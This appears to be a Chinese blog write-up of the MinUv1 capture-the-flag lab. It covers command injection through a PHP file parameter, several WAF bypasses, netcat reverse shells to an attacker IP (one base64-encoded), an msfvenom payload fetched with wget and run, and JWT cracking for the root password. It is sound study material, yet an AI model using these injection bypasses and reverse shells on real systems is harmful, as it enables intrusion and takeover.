MinUv1靶场

1、nmap -sC -sT -sV -A -O 192.168.1.103

2、dirb http://192.168.1.103 -X .php .html 递归扫描目录文件,-X参数过滤403

3、http://192.168.1.103/test.php?file=last.html 文件包含

   http://192.168.1.103/test.php?file=../../../../etc/passwd 尝试对url构造

   http://192.168.1.103/test.php?file=last.html|pwd

      或 http://192.168.1.103/test.php?file= |pwd 。。。|dir

4、 ls -al 、cat 等部分命令被拦截,有waf

5、wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 403,404 http://192.168.1.103/test.php?file=FUZZ   模糊测试 执行命令

  -c 输出颜色 -z payload

6、wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 403,404 http://192.168.1.103/test.php?file=FUZZ|grep dir

descript

http://192.168.1.103/test.php?file=|dir

descript

7、waf绕过(1)

7.1 分号“;” 隔离绕过waf

http://192.168.1.103/test.php?file=last.html;id

descript

http://192.168.1.103/test.php?file=--version 查看过滤器的信息(用cat过滤)

descript

要以一个文件开头读取信息,然后再绕过

但是目前的两种绕过方式都只能执行部分命令,如果命令后面需要跟参数,就不行了

7.2 二进制绕过

http://192.168.1.103/test.php?file=YLion;busybox nc 192.168.1.102 1234 -e sh -i

拿到反弹回话后,使用下面命令:

python -c 'import pty; pty.spawn("/bin/bash")'

8、waf绕过(2)

8.1 & --绕waf(URL编码混淆绕过WAF)

&的url编码为%26 空格的url编码为%20

&会过滤掉前面的命令,直接执行后面的命令(结束并开始一个新的命令)

http://192.168.1.103/test.php?file=%26id (&26 需要经过url编码)

descript

不加?无法执行命令

?问号在linux中以命令使用着,例如:/bin/echo可以通过替换一些字母来调用,/bin/ech?,仍然会执行相同的命令!----在中间件服务里会自动识别命令

http://192.168.1.103/test.php?file=%26/b?n/ec?o%20bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuMTAyIDEyMzUK|/u?r/b?n/b?se64%20-d|/bin/?h

总结一下:

1)知道了过滤器用cat执行命令,那么用&符号:

& 符号 url编码是%26,结束并开始一个新的命令!

2)%20 ---空格

3)bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuMTAyIDEyMzUK ---base64编码

(这里==也在黑名单上,命令后加空格,编码后无等号 'nc -e /bin/sh 192.168.1.102 1234 ')

4)/u?r/b?n/b?se64%20-d是url编码的绕过方法:/usr/bin/base64 -d

5)|/b?n/sh也是一种绕过:|/bin/sh、

9、waf绕过(3)----- 没成功

$绕过WAF ,只针对modsecurity这个waf

$u +执行命令 ,$u被视为空字符串

【kali:

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.27.187 lport=4455 -f elf > shell

( shell/reverse_tcp、meterpreter/reverse_tcp 都失败了 )

python -m SimpleHTTPServer 80

nc -lvnp 4455

浏览器访问:

http://192.168.1.103/test.php?file=YLion;$u wget http://192.168.1.102:80/shell -o /tmp/shell

http://192.168.1.103/test.php?file=YLion;$u ls /tmp

http://192.168.1.103/test.php?file=YLion;$u ls -la /tmp/shell

http://192.168.1.103/test.php?file=YLion;$u chmod 777 /tmp/shell

http://192.168.1.103/test.php?file=YLion;$u ls -la /tmp

http://192.168.1.103/test.php?file=YLion;$u /tmp/shell

绕过总结:

| & $ ; 加上各种混淆base64 ? 等等

10、内部信息收集

查看home目录写有几个用户,进用户目录下查看所有文件,包括隐藏的。。

cd /home/bob

ls -la

cat ._pw_

得到:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg

使用 jwt-cracker工具 解密:

(https://github.com/brendan-rius/c-jwt-cracker.git)

cd jwt-cracker

apt-get install libssl-dev

make

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6I。。。

descript

密码是 mlnV1 ,尝试登录root用户

posted @ 2023-03-23 13:39  hello_bao  阅读(26)  评论(0)    收藏  举报